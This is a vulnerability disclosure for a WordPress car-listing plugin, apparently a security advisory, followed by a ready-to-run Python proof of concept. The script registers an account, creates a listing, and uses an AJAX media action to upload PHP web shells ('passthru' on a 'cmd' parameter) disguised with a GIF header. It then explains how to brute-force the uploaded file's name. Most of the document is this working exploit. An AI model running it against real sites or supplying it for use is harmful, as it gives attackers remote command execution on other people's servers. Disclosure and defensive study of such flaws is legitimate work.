The plugin does not properly validate uploaded files for dangerous file types (such as .php) in an AJAX action, allowing an attacker to sign up on a victim’s WordPress instance, upload a malicious PHP file and attempt to launch a brute-force attack to discover the uploaded payload.
This PoC was tested against a local WordPress 6.1 instance with the vulnerable plugin installed in it's default configuration.
You should only need to change the BASE_URL, the rest should work as is.
import sys
import io
import random
import string
import binascii
import datetime
import requests
BASE_URL = "http://127.0.0.1:7777"
ADMIN_AJAX_URL = BASE_URL + "/wp-admin/admin-ajax.php"
USERNAME = "".join(random.choices(string.ascii_lowercase, k=10))
PASSWORD = "".join(random.choices(string.ascii_lowercase, k=16))
EMAIL = USERNAME + "@example.com"
PAYLOAD = b"<?php passthru($_GET['cmd']); ?>"
GIF_PREFIX = binascii.unhexlify("4749463839610f000f00f30d0000")
with requests.Session() as session:
# Register a new user.
print(f"[*] Registering new user: {USERNAME}:{PASSWORD} ...")
try:
response = session.post(
ADMIN_AJAX_URL,
data={
"action": "stm_custom_register",
"stm_nickname": USERNAME,
"stm_user_mail": EMAIL,
"stm_user_password": PASSWORD,
},
)
message = response.json()["message"]
if "Congratulations! You have been successfully registered" in message:
print("[+] Successfully registered new user.")
if "Sorry, that username already exists!" in message:
print("[-] Registration failed, user already exists.")
exit(1)
except Exception as e:
print("[-] Registration failed!")
exit(1)
# Authenticate
try:
response = session.post(
ADMIN_AJAX_URL,
data={
"action": "stm_custom_login",
"stm_user_login": USERNAME,
"stm_user_password": PASSWORD,
},
)
if "Successfully logged in" in response.json()["message"]:
print("[+] Authenticated.")
except Exception as e:
print("[-] Login failed")
print(e)
exit(1)
# Create listing
try:
print("[*] Creating car listing...")
response = session.post(
ADMIN_AJAX_URL,
data={
"action": "stm_ajax_add_a_car",
"stm_car_main_title": "".join(
random.choices(string.ascii_letters, k=12)
),
"stm_car_price": str(random.randint(1000, 99999)),
},
)
post_id = response.json()["post_id"]
print(f"[+] Car listing created: post_id={post_id}")
except Exception as e:
print("[-] Failed to add listing.")
exit(1)
try:
print("[*] Uploading payload...", file=sys.stderr)
# ext = random.choice(["php", "gif"])
response = session.post(
ADMIN_AJAX_URL,
data={
"action": "stm_ajax_add_a_car_media",
"post_id": post_id,
"stm_edit": "update",
},
files={
"files[0]": ("payload-1.php", io.BytesIO(GIF_PREFIX + PAYLOAD)),
"files[1]": ("payload-2.php", io.BytesIO(GIF_PREFIX + PAYLOAD)),
"files[2]": ("payload-3.php", io.BytesIO(GIF_PREFIX + PAYLOAD)),
"files[3]": ("payload-4.php", io.BytesIO(GIF_PREFIX + PAYLOAD)),
"files[4]": ("payload-5.php", io.BytesIO(GIF_PREFIX + PAYLOAD)),
},
)
if "Car updated" in response.json()["message"]:
print("[+] Payload uploaded")
print(f"[*] You need to bruteforce 5 chars to discover your payload:")
print(f"[*] Charset: 23456789ABCDEFHJKLMNPRTVWXYZabcdefghijklmnopqrstuvwxyz")
date_dir = datetime.datetime.now().strftime("%Y/%m")
print(f"[*] /wp-content/uploads/{date_dir}/post_id_{post_id}_?????.php")
except Exception as e:
print(response.json())
print("[-] Failed to upload payload.")
exit(1)